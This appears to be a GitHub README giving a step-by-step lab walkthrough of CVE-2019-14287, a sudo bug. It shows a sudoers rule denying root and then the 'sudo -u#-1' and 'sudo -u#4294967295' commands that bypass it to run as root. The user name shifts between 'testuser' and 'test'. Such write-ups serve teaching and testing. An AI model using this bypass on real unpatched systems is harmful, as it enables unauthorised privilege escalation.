gurneesh/cve-2019-14287-write-upStep-by-step demonstration of CVE-2019-14287 sudo vulnerability allowing restricted users to execute commands as root via crafted user IDs.
4294967295 Sudo Bug Allows Restricted Users to Run Commands as Root
sudo su - root useradd -m -s /bin/bash testuser passwd testuser // add password to user visudo
test ALL=(ALL, !root) /usr/bin/id // specifying that this user cannot use id command with root user
SAVE THE FILE AND EXIT FROM ROOT USER
sudo su - test
sudo id YOU WILL BE PROMPTED WITH MESSAGE Sorry, user test is not allowed to execute '/usr/bin/id' as root
sudo -u#-1 id OR sudo -u#4294967295 id
And there go, you have executed id command using root
